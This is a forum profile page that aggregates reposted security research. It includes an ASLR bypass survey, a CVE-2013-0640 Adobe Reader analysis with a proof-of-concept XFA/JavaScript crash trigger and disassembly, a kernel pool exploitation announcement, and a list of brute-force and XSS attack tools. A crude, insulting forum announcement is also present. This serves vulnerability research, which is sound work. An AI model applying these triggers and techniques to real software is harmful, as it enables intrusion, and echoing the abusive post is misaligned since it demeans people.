-
Posts
18715 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
ASLR Bypass Apocalypse in Recent Zero-Day Exploits October 15, 2013 | By Xiaobo Chen ASLR (Address Space Layout Randomization) is one of the most effective protection mechanisms in modern operation systems. But it’s not perfect. Many recent APT attacks have used innovative techniques to bypass ASLR bypass techniques. Here are just a few interesting bypass techniques that we have tracked in the past year: Using non-ASLR modules Modifying the BSTR length/null terminator Modifying the Array object The following sections explain each of these techniques in detail. Non-ASLR modules Loading a non-ASLR module is the easiest and most popular way to defeat ASLR protection. Two popular non-ASLR modules are used in IE zero-day exploits: MSVCR71.DLL and HXDS.DLL. MSVCR71.DLL, JRE 1.6.x is shipped an old version of the Microsoft Visual C Runtime Library that was not compiled with the /DYNAMICBASE option. By default, this DLL is loaded into the IE process at a fixed location in the following OS and IE combinations: Windows 7 and Internet Explorer 8 Windows 7 and Internet Explorer 9 HXDS.DLL, shipped from MS Office 2010/2007, is not compiled with ASLR. This technique was first described in here, and is now the most frequently used ASLR bypass for IE 8/9 on Windows 7. This DLL is loaded when the browser loads a page with ‘ms-help://’ in the URL. The following zero-day exploits used at least one of these techniques to bypass ASLR: CVE-2013-3893, CVE2013-1347, CVE-2012-4969, CVE-2012-4792. Limitations The non-ASLR module technique requires IE 8 and IE 9 to run with old software such as JRE 1.6 or Office 2007/2010. Upgrading to the latest versions of Java/Office can prevent this type of attack. Modify the BSTR length/null terminator This technique first appears in the 2010 Pwn2Own IE 8 exploit by Peter Vreugdenhil. It applies only to specific types of vulnerabilities that can overwrite memory, such as buffer overflow, arbitrary memory write, and increasing or decreasing the content of a memory pointer. The arbitrary memory write does not directly control EIP. Most of the time, the exploit overwrites important program data such as function pointers to execute code. For attackers, the good thing about these types of vulnerabilities is that they can corrupt the length of a BSTR so that using the BSTR can access memory outside of its original boundaries. Such accesses may disclose memory addresses that can be used to pinpoint libraries suitable for ROP. Once the exploit has bypassed ASLR in this way, it can then use the same memory corruption bug to control EIP. Few vulnerabilities can be used to modify the BSTR length. For example, some vulnerabilities can only increase/decrease memory pointers by one or two bytes. In this case, the attacker can modify the null terminator of a BSTR to concatenate the string with the next object. Subsequent accesses to the modified BSTR have the concatenated object’s content as part of BSTR, where attackers can usually find information related to DLL base addresses. CVE-2013-0640 The Adobe XFA zero-day exploit uses this technique to find the AcroForm.api base address and builds a ROP chain dynamically to bypass ASLR and DEP. With this vulnerability, the exploit can decrease a controllable memory pointer before calling the function pointer from its vftable: Consider the following memory layout before the DEC operation: [string][null][non-null data][object] After the DEC operation (in my tests, it is decreased twice) the memory becomes: [string][\xfe][non-null data][object] For further details, refer to the technique write-up from the immunityinc’s blog. Limitations This technique usually requires multiple writes to leak the necessary info, and the exploit writer has to carefully craft the heap layout to ensure that the length field is corrupted instead of other objects in memory. Since IE 9, Microsoft has used Nozzle to prevent heap spraying/fengshui, so sometimes the attacker must use the VBArray technique to craft the heap layout. Modify the Array object The array object length modification is similar to the BSTR length modification: they both require a certain class of “user-friendly” vulnerabilities. Even batter, from the attacker’s view, is that once the length changes, the attacker can also arbitrarily read from or write to memory — or basically take control of the whole process flow and achieve code execution. Here is the list of known zero-day exploits using this technique: CVE-2013-0634 This exploit involves Adobe Flash player regex handling buffer overflow. The attacker overwrites the length of a Vector.<Number> object, and then reads more memory content to get base address of flash.ocx. Here’s how the exploit works: Set up a continuous memory layout by allocating the following objects”: Free the <Number> object at index 1 of the above objects as follows: obj[1] = null; Allocate the new RegExp object. This allocation reuses memory in the obj[1] position as follows: boom = "(?i)()()(?-i)||||||||||||||||||||||||"; var trigger = new RegExp(boom, ""); Later, the malformed expression overwrites the length of aVector.<Number> object in obj[2] to enlarge it. With a corrupted size, the attacker can use obj[2] to read from or write to memory in a huge region to locate the flash.ocx base address and overwrite a vftable to execute the payload. CVE-2013-3163 This vulnerability involves a IE CBlockContainerBlock object use-after-free error. This exploit is similar to CVE-2013-0634, but more sophisticated. Basically, this vulnerability modifies the arbitrary memory content using an OR instruction. This instruction is something like the following: or dword ptr [esi+8],20000h Here’s how it works: First, the attacker sprays the target heap memory with Vector.<uint> objects as follows:. After the spray, those objects are stored aligned in a stable memory address. For example: The first dword, 0x03f0, is the length of the Vector.<uint> object, and the yellow marked values correspond to the values in above spray code. If the attacker sets the esi + 8 point to 0x03f0, the size becomes 0x0203f0 after the OR operation — which is much larger than the original size. With the larger access range, the attacker can change the next object length to 0x3FFFFFF0. From there, the attacker can access the whole memory space in the IE process. ASLR is useless because the attacker can retrieve the entire DLL images for kernel32/NTDLL directly from memory. By dynamically searching for stack pivot gadgets in the text section and locating the ZwProtectVirtualMemory native API address from the IAT, the attacker can construct a ROP chain to change the memory attribute and bypass the DEP as follows: By crafting the memory layout, the attacker also allocates a Vector.<object> that contains the flash.Media.Sound() object. The attacker uses the corrupted Vector.<uint> object to search the sound object in memory and overwrite it’s vftable to point to ROP payload and shellcode. CVE-2013-1690 The use-after-free vulnerability in Firefox’s DocumentViewerImpl object allows the user to write a word value 0×0001 into an arbitrary memory location as follows: In above code, all the variables that start with “m” are read from the user-controlled object. If the user can set the object to meet the condition in the second “if” statement, it forces the code path into the setImageAnimationMode() call, where the memory write is triggered. Inside the setImageAnimationMode(), the code looks like the following: In this exploit, the attacker tries to use ArrayBuffer to craft the heap layout. In the following code, each ArrayBuffer element for var2 has the original size 0xff004. After triggering the vulnerability, the attacker increases the size of the array to to 0x010ff004. The attacker can also locate this ArrayBuffer by comparing the byteLength in JavaScript. Then, the attacker can read to or write from memory with the corrupted ArrayBuffer. In this case, the attacker choose to disclosure the NTDLL base address from SharedUserData (0x7ffe0300), and manually hardcoded the offset to construct the ROP payload. CVE-2013-1493 This vulnerability involves a JAVA CMM integer overflow that allows overwriting the array length field in memory. During exploitation, the array length actually expands to 0x7fffffff, and the attacker can search for the securityManager object in memory and null it to break the sandbox. This technique is much more effective than overwriting function pointers and dealing with ASLR/DEP to get native code execution. The Array object modification technique is much better than other techniques. For the Flash ActionScript vector technique, there are no heap spray mitigations at all. As long as you have a memory-write vulnerability, it is easily implemented. Summary The following table outlines recent APT zero-day exploits and what bypass techniques they used: Conclusion ASLR bypassing has become more and more common in zero-day attacks. We have seen previous IE zero-day exploits using Microsoft Office non-ASLR DLL to bypass it, and Microsoft also did some mitigation in their latest OS and browser to prevent use of the non-ASLR module to defeat ASLR. Because the old technique will no longer work and can be easily detected, cybercriminals will have to use the advanced exploit technique. But for specific vulnerabilities that allow writing memory, combining the Vector.<uint> and Vector.<object> is more reliable and flexible. With just one shot, extending the exploit from writing a single byte to reading or writing gigabytes is easy and works for the latest OS and browser regardless of the OS, application, or language version. Many researchers have published research on ASLR bypassing, such as Dion Blazakis’s JIT spray and Yuyang’s LdrHotPatchRoutine technique. But so far we haven’t seen any zero-day exploit leveraging them in the wild. The reason could be that these techniques are generic approaches to defeating ASLR. And they are usually fixed quickly after going public. But there is no generic way to fix vulnerability-specific issues. In the future, expect more and more zero-day exploits using similar or more advanced techniques. We may need new mitigations in our OSs and security products to defeat them. Thanks again to Dan Caselden and Yichong Lin for their help with this analysis. Sursa: ASLR Bypass Apocalypse in Recent Zero-Day Exploits | FireEye Blog
-
Probleme cu categoriile Offtopic, Ajutor, Cereri, Market
Nytro posted a topic in Anunturi importante
Salut, Au aparut niste probleme cu categoriile Offtopic, Cereri si Ajutor (+ altele). Se pare ca nu se mai pot deschide topicuri noi in acele categorii. Nici macar nu se mai poate posta. Promit ca maine seara voi rezolva problema. Pana atunci invatati un singur lucru: NU MAI FITI MILOGI. Tot urmaresc forumul si sper sa vad macar 2-3 persoane care ies in fata si demonstreaza ca au mentalitate si ca vor sa ajute comunitatea. Dar fiecare isi vede de propria persoana, nimeni nu ar posta ceva util pentru ceilalti din comunitate. Daca veti verifica si voi ultimele posturi veti vedea categoriile principale de discutii: Offtopic, Cereri si Ajutor. Stiti sa cereti ajutorul, sa intindeti mana, dar nu stiti sa ajutati la randul vostru. Cersetori, milogi, asta sunteti. Asadar, 24 de ore, deocamdata, nu veti putea posta in acele categorii. Aduceti o contributie si voi. Faceti ceva util si pentru ceilalti, nu doar pentru voi. Daca nu va convine decizia va dati cu curul de pamant si imi sugeti pula. Muie. -
Tools FreeRDP-pth (20/10/2013) - FreeRDP-pth is a slightly modified version of FreeRDP that tries to authenticate using a password hash instead of a password. This work only against RDP v8.1 servers (Windows 2012 R2 at the time of writing) and even then, only for members of the administrators groups. Refer to companion blog post for more information about Restricted Mode and pass-the-hash. UDP Protocol Analysis – Interactive Python Tool (9/9/2013) - UDP protocol analysis is a python module which can be used in scripted analysis or interactively using ipython. Local MySQL Password Bruteforcer (15/2/2013) - Local MySQL Password Bruteforcer is a python script to assess the strength of the local MySQL access passwords. HeaderCheck (15/2/2013) - HeaderCheck is a python script used to check the security settings of various headers returned by web servers. ssl-cipher-suite-enum (13/2/2013) - ssl-cipher-suite-enum is a perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS). UNIXSocketScanner (31/1/2013) - UNIXSocketScanner is a perl script to locally enumerate UNIX domain sockets. get-dhcp-opts (12/12/2012) - get-dhcp-opts is a tool to discover DHCP/BOOTP servers on your LAN, and dump the DHCP/BOOTP options. VulnApp (15/9/2012) - VulnApp is a vulnerable web application written in ASP.net. rdp-sec-check (15/7/2012) - rdp-sec-check is a perl script to enumerate security settings of an RDP Service (AKA Terminal Services). nopc (3/7/2012) - nopc is a Nessus based UNIX patch checker. It utilises Nessus’ nasls and instructs you on what data you need to manually get from the system to perform that patch check. This was developed for situation when network connectivity to the systems under review is not possible. secdump (24/3/2012) - secdump is a simple meterpreter module that uploads and runs gsecdump. Nothing fancy, just a time saver. SSHatter (16/2/2011) - SSHatter is a perl script to perform brute force attacks on SSH. hoppy (9/10/2009) - hoppy is python script to probe HTTP options and perform scanning for information disclosure issues. ManySSL (9/12/2008) - ManySSL is a perl script to enumerate supported SSL cipher suites supported by network services (principally HTTPS). udp-proto-scanner (26/11/2008) - udp-proto-scanner is a perl script which discovers UDP services by sending triggers to a list of hosts MS08-067 check (18/11/2008) - MS08-067 check is python script which can anonymously check if a target machine or a list of target machines are affected by MS08-067 vulnerability. polenum (30/10/2008) - polenum is a python script which can be used to get the password policy from a Windows machine. vessl (30/10/2008) - vessl is a bash script that can fetch and verify the SSL certificate of a remote server. enum4linux (16/9/2008) - A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts. phrasen|drescher (27/6/2008) - A tool for bruteforce guessing pass phrases, password hashes or remote accounts of various services. BSQL brute forcer V2 (18/6/2008) - Updated version of the Blind SQL Injection Brute Forcer from www.514.es. Works against PostgreSQL, MySQL, MSSQL and Oracle and supports custom SQL queries. acccheck (9/4/2008) - The tool is designed as a password dictionary attack tool that targets windows authentication via the SMB protocol. It is really a wrapper script around the ‘smbclient’ binary, and as a result is dependent on it for its execution. MIBparse (7/4/2008) - MIBparse.pl has been designed as an offline parser to quickly parse output from SNMP tools such as ‘snmpwalk’. nbtscan-1.5.2 (3/4/2008) - NBTscan is a program for scanning IP networks for NetBIOS name information. XSS Tunnel (2/4/2008) - XSS Tunnel is a standard HTTP proxy which sits on an attacker’s system. Any tool that is configured to use it will tunnel its traffic through the active XSS Channel on the XSS Shell server. Banner Grab (2/4/2008) - BannerGrab is a tool that performs connection, trigger-based and basic information collection from network services. viewstate (2/4/2008) - Viewstate is an ASP.Net viewstate decoder, checker, parser and encoder. Sun Patch Check (2/4/2008) - Sun Patch Check lists missing security patches by comparing the output from the Sun Solaris “showrev” command to that from the Sun recommended patch list. XSS Shell (2/4/2008) - XSS Shell is a powerful XSS backdoor, in XSS Shell one can interactively send requests and get responses from victim and it allows you to keep the control of session. sucrack (31/3/2008) - sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su. rmiInfo (31/3/2008) - A tool for extracting information from Java Remote Method Invocation (RMI) services. onesixtyone (31/3/2008) - An enhanced version of Solar Eclipse’s SNMP Community string guessing tool. http-dir-enum (28/3/2008) - A command-line tool for bruteforce-guessing directory and filenames on web servers. BSQL Hacker (16/1/2008) - BSQL (Blind SQL) Hacker is an automated SQL Injection Framework / Tool designed to exploit SQL injection vulnerabilities virtually in any database. Sursa: http://labs.portcullis.co.uk/tools/
-
[h=1]Deep Blind SQL Injection[/h] Deep Blind SQL Injection is a new way to exploit Blind SQL Injections with a 66% reduction in the number of requests. However it is still possible to retrieve data, moreover it is possible with a 66% reduction in the number of requests made of the server, requiring two rather than six requests to retrieve each char. Ferruh Mavituna www.portcullis-security.com Blind SQL Injection attacks are described in several papers1. If the injection point is completely blind2 then the only way3 to extract data is using time based attacks like WAITFOR DELAY, BENCHMARK etc. When it comes to reading data there are two known ways, 1. Reading data bit by bit 2. Reading data through a binary search algorithm with character patterns Both methods have a one request – one response limit and on average for each char you need to make six requests to the server. In Deep Blind SQL Injection reading data is more complex than in classic blind injection. However it is still possible to retrieve data, moreover it is possible with a 66% reduction in the number of requests made of the server, requiring two rather than six requests to retrieve each char. Deep Blind SQL Injection works well within MS SQL Server and may work in other databases such as like ORACLE, PostgreSQL etc. This method of injection, which retrieves more that one response per request is achieved using time delay differences. For example if the first half byte of char is 6, the database is going to wait for 12 seconds, if second half byte of char is 1 it?s going to wait for 2 seconds. An attacker should store server response times and divide them by 2 to understand the response. Finally, in 2 requests we got 0x61 which is „a?. Obviously depending on the condition it?s possible to use larger or smaller dividers than 2. Download: http://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf
-
XSS Tunnelling Tunnelling HTTP traffic through XSS Channels Ferruh Mavituna www.portcullis-security.com XSS Tunnelling ................................................................................................................1 About XSS Tunnelling..................................................................................................1 What Is An XSS Channel?........................................................................................... 2 How Does XSS Shell Work?........................................................................................ 2 Points of Interest ..................................................................................................... 4 Why Is It Better Than The Classic XSS Attacks?.................................................... 5 What Is XSS Tunnelling?................................................................................................ 5 What Is An XSS Tunnel? ................................................................................................ 5 Why Tunnel HTTP Traffic Through An XSS Channel? ................................................. 6 Benefits Of XSS Tunnelling............................................................................................ 7 How Does XSS Tunnel Work?........................................................................................8 An Attack Process ....................................................................................................... 9 Download: http://labs.portcullis.co.uk/download/XSS-Tunnelling.pdf
-
SSL GOOD PRACTICE GUIDE VERSION: 1.0 DATE: 20/09/2013 TASK NUMBER: SSL_Whitepaper PREPARED BY Mike W. Emery Researcher Portcullis Computer Security Limited The Grange Barn, Pike's End Pinner, Middlesex HA5 2EX United Kingdom CONTENTS 1 INTRODUCTION 2 SSL BASICS 3 RECOMMENDATIONS 4 AREAS OF CONCERN 5 SAMPLE IMPLEMENTATIONS APPENDIX A: ABOUT PORTCULLIS COMPUTER SECURITY LIMITED 15 Download: http://labs.portcullis.co.uk/download/SSLGPG.pdf
-
Pool Blade: A new approach for kernel pool exploitation Abstract In recent years many methods have been discussed regarding exploitation of pool overflow corruptions. Most of these methods are based on the architecture of Pool manager in windows. In this paper I am going to discuss a generic method that is based on kernel objects and not the pool manager and because of the nature of this technic it is possible to exploit pool overflow vulnerabilities easier and more reliable. So I Introduce Pool Blade helper class that let us exploit pool overflow in a very short time by just calling some interface and triggering the vulnerability. Pool blade and the technic discussed here is just supported by windows XP/2003/vista but it can be extended to support more recent windows operating systems. Q: Why Pool blade? A: Because this method is fast and reliable Q: How much reliable? A: By this technic we don’t corrupt anything so the exploit works 100% Q: Fast? A: You have a pool overflow, you can exploit it in 5 minutes by just knowing size the vulnerable buffer Q: What is the impact? A: Everyone can exploit local pool overflows on windows easily and reliably to get escalated privilege. Q: What PoolBlade is not? A: It cannot be used to exploit pool overflow on windows 7 and for small buffer sizes you should find another proper objects. And of course it can be used only in Non-paged pool. Q: How it can be used? A: You can use the PoolBlade helper class or read the document and implement more customized version for your own purpose. The method and the helper class is demonstrated by an antivirus driver vulnerability in the following research paper . White-paper : PoolBlade Exploit-code: AhnlabV3MedCoreD Video : The demonstrated vulnerability is about the Ahnlab V3 internet security product. Of course the vulnerability is reported to vendor a few month ago. Final note : as you may know our windows exploitation course which contain kernel exploitation is just released if you like you can take it now ! Sursa: https://zdresearch.com/pool-blade-a-new-approach-for-kernel-pool-exploitation/
-
[h=1]NFTables IPTables-Replacement Queued For Linux 3.13[/h] [h=2]Posted by Michael Larabel on October 19, 2013[/h]NFTables is a new firewall subsystem / packet filtering engine for the Linux kernel that is poised to replace iptables. NFTables has been in development for several years by the upstream author of Netfilter. This new nftables system is set to be merged now into the Linux 3.13 kernel. NFTables has been in development for years and to replace IPTables by offering a simpler kernel ABI, reduce code duplication, improved error reporting, and provide more efficient support of filtering rules. Beyond IPTables, it also replaces the ip6tables, arptables, and ebtables frameworks but nftables does offer a compatibility layer to iptables support. For those into networking and wanting to learn more about NFTables, visit its Netfilter.org project page. Earlier this week a pull request was sent in for pulling in nf_tables for the next Linux kernel release through the net-next branch. The pull request was accepted and is now living in the net-next Git repository for Linux 3.13. IPTables won't die off in Linux 3.13 as there's still work ahead for NFTables, but those wanting to try out the new code when it's mainlined can find this how-to guide. Sursa: [Phoronix] NFTables IPTables-Replacement Queued For Linux 3.13
-
[h=1]CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 1)[/h] Published 26/09/2013 | By MTB This document aims to present a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild. This is the first article of a set. It covers the full detailed analysis of the bug. Adobe Reader is an application software developed by Adobe Systems to view files in Portable Document Format (PDF). Adobe XML forms architecture (XFA) are XML specifications for forms to be embedded in a PDF document. There were first introduced in the PDF 1.5 file format specification. They are not compatible with AcroForms. The form itself is saved internally in the PDF. There is a bug when dealing with the forms in a specific way. [h=2]Binary Information[/h] [TABLE] [TR] [TD]Name:[/TD] [TD]AcroForm_api[/TD] [/TR] [TR] [TD]Base address:[/TD] [TD]0×20800000[/TD] [/TR] [TR] [TD]File version:[/TD] [TD]9.5.0.270[/TD] [/TR] [TR] [TD]Default path:[/TD] [TD]C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api[/TD] [/TR] [/TABLE] [h=2]Analysis[/h] [h=3]Trigger[/h] The proof of concept consists of an embedded XFA form that is being manipulated using JavaScript. The form by itself contains two subforms: The first contains a choiceList object. The second one contains a simple draw object. <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/"> <subform name="form1"> <pageSet> <pageArea name="page1"> <contentArea /> <subform> <field name="field0"> <ui><choiceList></choiceList></ui> </field> </subform> </pageArea> </pageSet> <subform> <draw name="rect1" /> </subform> </subform> </template> In order to trigger the bug the JavaScript code first saves a reference to the choiceList object for later use. Then it changes the property keep.previous of the draw object in the second subform to contentArea. Once done, the choiceList object is re-attached to the first subform. This triggers the bug. function Trigger { MessWithTheMemory(); xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList; } var choiceList = null; function Start() { choiceList = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]"); xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous = "contentArea"; ddd = app.setTimeOut("Trigger();", 1); } Start(); [h=3]Binary analysis[/h] Adobe Reader crashes in the AcroForm_api module. Just before the crash a function located at address 0x20907FA0 is called. For convenience this function is called UseTheUninitializedValue. First it calls a function at 0x209D76AE named GetTheBrokenObject. It then increments an attribute of the object, probably a reference count. Finally the attribute at 0x3c is evaluated. If is is not NULL a function at 0x209063B4 named crash_here is called using the object attribute at 0x3c. .text:20907FA0 UseTheUninitializedValue .text:20907FA0 .text:20907FA0 var_10 = dword ptr -10h .text:20907FA0 var_4 = dword ptr -4g .text:20907FA0 arg_0 = dword ptr 8 .text:20907FA0 arg_4 = dword ptr 0Ch .text:20907FA0 arg_8 = dword ptr 10h .text:20907FA0 .text:20907FA0 push 4 .text:20907FA2 mov eax, offset sub_20CE45C9 .text:20907FA7 call __EH_prolog3 .text:20907FAC mov ebx, ecx .text:20907FAE and [ebp+var_10], 0 .text:20907FB2 push [ebp+arg_8] .text:20907FB5 lea eax, [ebp+arg_8] .text:20907FB8 push [ebp+arg_4] .text:20907FBB push eax .text:20907FBC call GetTheBrokenObject // Get the uninitialized object from here. .text:20907FC1 mov esi, [eax] .text:20907FC3 test esi, esi .text:20907FC5 mov [ebp+arg_4], esi .text:20907FC8 jz short loc_20907FCD .text:20907FCA inc dword ptr [esi+4] // Reference counter? .text:20907FCD .text:20907FCD loc_20907FCD: .text:20907FCD lea ecx, [ebp+arg_8] .text:20907FD0 mov [ebp+var_4], 1 .text:20907FD7 call sub_208A7FA1 .text:20907FDC mov edi, [ebx+3Ch] .text:20907FDF test edi, edi .text:20907FE1 jz short loc_20908012 .text:20907FE3 cmp dword ptr [esi+3Ch], 0 // If 0, skip the call. .text:20907FE7 jz short loc_20907FF2 .text:20907FE9 mov ecx, [esi+3Ch] // Uninitialized memory here. .text:20907FEC push ebx .text:20907FED call crash_here The value coming from ESI+0x3c is used as a pointer. However the value is invalid, Adobe Reader crashes when dereferencing it. .text:209063B4 crash_here .text:209063B4 .text:209063B4 arg_0 = dword ptr 4 .text:209063B4 .text:209063B4 push esi .text:209063B5 push edi .text:209063B6 mov edi, ecx // EDI is invalid. .text:209063B8 mov esi, [edi+40h] .text:209063BB test esi, esi .text:209063BD jz short loc_209063FE ... .text:209063FE loc_209063FE: .text:209063FE .text:209063FE pop edi .text:209063FF pop esi .text:20906400 retn 4 .text:20906400 crash_here endp In order to find the reason EDI contains an invalid value, we need to go back to the constructor of the object. It can be found at 0x209D8D71 in a function named InitializeBrokenObject. This function is the constructor of the object. As seen from the disassembled code, the value at 0x3c is never initialized. .text:209D8D71 InitializeBrokenObject .text:209D8D71 .text:209D8D71 arg_0 = dword ptr 4 .text:209D8D71 arg_4 = dword ptr 8 .text:209D8D71 arg_8 = dword ptr 0Ch .text:209D8D71 .text:209D8D71 push esi .text:209D8D72 push [esp+4+arg_0] .text:209D8D76 mov esi, ecx .text:209D8D78 call sub_209E7137 // ECX comes from the second argument. .text:209D8D7D mov ecx, [esp+4+arg_4] // vtable. .text:209D8D81 mov dword ptr [esi], offset broken_object .text:209D8D87 mov eax, [ecx] .text:209D8D89 xor edx, edx .text:209D8D8B cmp eax, edx .text:209D8D8D mov [esi+24h], eax .text:209D8D90 jz short loc_209D8D95 .text:209D8D92 inc dword ptr [eax+4] .text:209D8D95 .text:209D8D95 loc_209D8D95: // Offset 0x3c is not set. .text:209D8D95 mov eax, [esp+4+arg_8] .text:209D8D99 mov [esi+2Ch], eax .text:209D8D9C mov [esi+30h], edx .text:209D8D9F mov [esi+34h], edx .text:209D8DA2 mov [esi+38h], edx .text:209D8DA5 mov eax, off_20E93D74 .text:209D8DAA and dword ptr [esi+28h], 0FFFFFFF0h .text:209D8DAE mov [esi+0Ch], eax .text:209D8DB1 mov dword ptr [esi+10h], 0C9h .text:209D8DB8 mov ecx, [ecx] .text:209D8DBA cmp ecx, edx .text:209D8DBC jz short loc_209D8DC1 .text:209D8DBE mov [ecx+3Ch], esi .text:209D8DC1 .text:209D8DC1 loc_209D8DC1: .text:209D8DC1 mov eax, esi .text:209D8DC3 pop esi .text:209D8DC4 retn 0Ch .text:209D8DC4 InitializeBrokenObject endp Depending on the previous memory usage, the value at ESI+0x3C may vary. If it is 0, the call is skipped and nothing happens. Otherwise a crash may occur. [h=2]Conclusion[/h] This concludes the detailed analysis of the bug. The goal next is to replace the un-initialized data by fully controlled values and to leverage the bug into code execution. This involves a bit of heap massage and it will be the main focus of the second article. [h=2]References[/h] Adobe’s advisory: APSA13-02 Download target version: Adobe Acrobat 10 for Windows XFA Specification Sursa: CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 1) | Portcullis LabsPortcullis Labs
-
Internals of Windows Thread By Mahesh Bailwal, 21 Oct 2013 Introduction In today’s programming world multi-threading has become imperative part of any programming language whether its .NET, Java or C++. To write highly responsive and scalable application it must avail the power of multi threading programming. While working on .Net Framework I came across various Framework Class Libraries (FCL) for parallel task processing like Task Parallel Library (TPL), Parallel LINQ (PLINQ), Task Factories, Thread Pool, Asynchronous programming modal, etc, all of which behind the scene use power of Windows threads to achieve parallelism. Understanding the basic structure of Windows thread will always help implementing and understanding these advance features like TPL, PLINQ, etc in a better way and help you in visualizing how multiple threads works in a system together, specially when you are trouble shooting multithread application . In this article I would like to share some of basics about Windows thread which may help you in understanding how operating system implements threads. What Windows Thread Consist Of Let’s start with looking at basic components of a thread. There are three basic components of Windows thread :- Thread Kernel Object Stack TEB Windows Thread Components All of these three components all together create Windows thread. I tried to explain all them one by one below but before looking into these three components lets have brief introduction about Windows kernel and kernel objects as these are most important part of Windows operating system. What Is Operating System Kernel Kernel is the main component of any operating system. It is a bridge between applications and hardware. Kernel provides layer of abstraction through which application can interact with hardware. Kernel is the part of the operating system that loads first, and it remains in physical memory. The kernel's primary function is to manage the computer's hardware and resources and allow other programs to run and use these resources. To know more about kernel visit below link. http://en.wikipedia.org/wiki/Kernel_(computing) What Are Kernel Objects Kernel needs to maintain lots of data about numerous resources such as processes, threads, files, etc, for that kernel use “kernel data structures” which are known as kernel objects. Each kernel object is simply a memory block allocated by the kernel and is accessible only to the kernel. This memory block is a data structure whose members maintain information about the object. Some members (security descriptor, usage count, and so on) are the same across all object types, but most data members are specific to the type of kernel object.Kernel creates and manipulates several types of kernel objects, such as process objects, thread objects, event objects, file objects, file-mapping objects, I/O completion port objects, job objects, mutex objects, pipe objects, semaphore objects etc Winobj Screenshot If you are curious to see the list of all the kernel object types then you can use free WinObj tool from Sysinternals located at below mentioned link WinObj Thread Kernel Object First and very basic component of Windows thread is thread kernel object. For every thread in system operating system create one thread kernel object. Operating system use thread kernel objects for managing and executing threads across the system. The kernel object is also where the system keeps statistical information about the thread. Below are some of the important properties of thread kernel object. Thread Context Each thread kernel object contains set of CPU registers, called the thread's context. The context reflects the state of the thread's CPU registers when the thread last executed. The set of CPU registers for the thread is saved in a CONTEXT structure. The instruction pointer and stack pointer registers are the two most important registers in the threads context. A stack pointer is a register that stores the starting memory address of the stack frame of the current function executing inside the thread. Instruction pointer points to the current instruction that need to be executed by the CPU. Operating system use kernel object context information while performing thread context switching. Context switch is the process of storing and restoring the state (context) of a thread so that execution can be resumed from the same point at a later time. Below mentioned table display some of other important information held in thread kernel object about the thread. [TABLE=class: ArticleTable] [TR] [TD]Property Name[/TD] [TD]Description[/TD] [/TR] [TR] [TD]CreateTime[/TD] [TD]This field contains the time when the Thread was created.[/TD] [/TR] [TR] [TD]ThreadsProcess[/TD] [TD]This field contains a pointer to the EPROCESS Structure of the Process that owns this Thread.[/TD] [/TR] [TR] [TD]StackBase[/TD] [TD]This field contains the Base Address of this Thread’s Stack.[/TD] [/TR] [TR] [TD]StackLimit[/TD] [TD]This field contains the end of the Kernel-Mode Stack of the Thread.[/TD] [/TR] [TR] [TD]TEB[/TD] [TD]This field contains a pointer to the Thread’s Environment Block.[/TD] [/TR] [TR] [TD]State[/TD] [TD]This field contains the Thread’s current state.[/TD] [/TR] [TR] [TD]Priority[/TD] [TD]This field contains the Thread’s current priority.[/TD] [/TR] [TR] [TD]ContextSwitches[/TD] [TD]This field counts the number of Context Switches that the Thread has gone through (switching Contexts/Threads).[/TD] [/TR] [TR] [TD]WaitTime[/TD] [TD]This field contains the time until a Wait will expire.[/TD] [/TR] [TR] [TD]Queue[/TD] [TD]This field contains a Queue for this Thread.[/TD] [/TR] [TR] [TD]Preempted[/TD] [TD]This field specifies if the Thread will be preempted or not.[/TD] [/TR] [TR] [TD]Affinity[/TD] [TD]This field contains the Thread’s Kernel Affinity.[/TD] [/TR] [TR] [TD]KernelTime[/TD] [TD]This field contains the time that the Thread has spent in Kernel Mode.[/TD] [/TR] [TR] [TD]UserTime[/TD] [TD]This field contains the time that the Thread has spent in User Mode.[/TD] [/TR] [TR] [TD]ImpersonationInfo[/TD] [TD]This field contains a pointer to a structure used when the Thread is impersonating another one.[/TD] [/TR] [TR] [TD]SuspendCount[/TD] [TD]This field contains a count on how many times the Thread has been suspended.[/TD] [/TR] [/TABLE] Stack The second basic component of a thread is stack. Once the thread kernel object has been created, the system allocates memory, which is used for the thread's stack. Every thread got its own stack which is used for maintaining local variables of functions and for passing arguments to functions executing inside a thread. When a function executes, it may add some of its state data to the top of the stack like arguments and local variables, when the function exits it is responsible for removing that data from the stack. Apart from that a thread's stack is used to store the location of function calls in order to allow return statements to return to the correct location. Operating system allocates two types of stack for every thread, one is user-mode stack and other is kernel-mode stack. User-mode stack The user-mode stack is used for local variables and arguments passed to methods. It also contains the address indicating what the thread should execute next when the current method returns. By default, Windows allocates 1 MB of memory for each thread’s user-mode stack Kernel-mode stack The kernel-mode stack is used when application code passes arguments to a kernel function in the operating system. For security reasons, Windows copies any arguments passed from user-mode code to the kernel from the thread’s user-mode stack to the thread’s kernel-mode stack. Once copied, the kernel can verify the arguments’ values, and since the application code can’t access the kernel mode stack, the application can’t modify the arguments’ values after they have been validated and the OS kernel code begins to operate on them. In addition, the kernel calls methods within itself and uses the kernel-mode stack to pass its own arguments, to store a function’s local variables, and to store return addresses. The kernel-mode stack is 12 KB when running on a 32-bit Windows system and 24 KB when running on a 64-bit Windows system. You can learn more about thread stack at following links Kernel Space Definition Stack-based memory allocation - Wikipedia, the free encyclopedia Call stack - Wikipedia, the free encyclopedia Thread environment Block (TEB) Another important data structure used by every thread is Thread environment Block (TEB). TEB is a block of memory allocated and initialized in user mode (address space that application code can access directly). The TEB consumes 1 page of memory (4 KB on x86 and x64 CPUs). On of the important information TEB contains is information about exception handling which is used by SEH (Microsoft Structured Exception Handling). The TEB contains the head of the thread’s exception-handling chain. Each try block 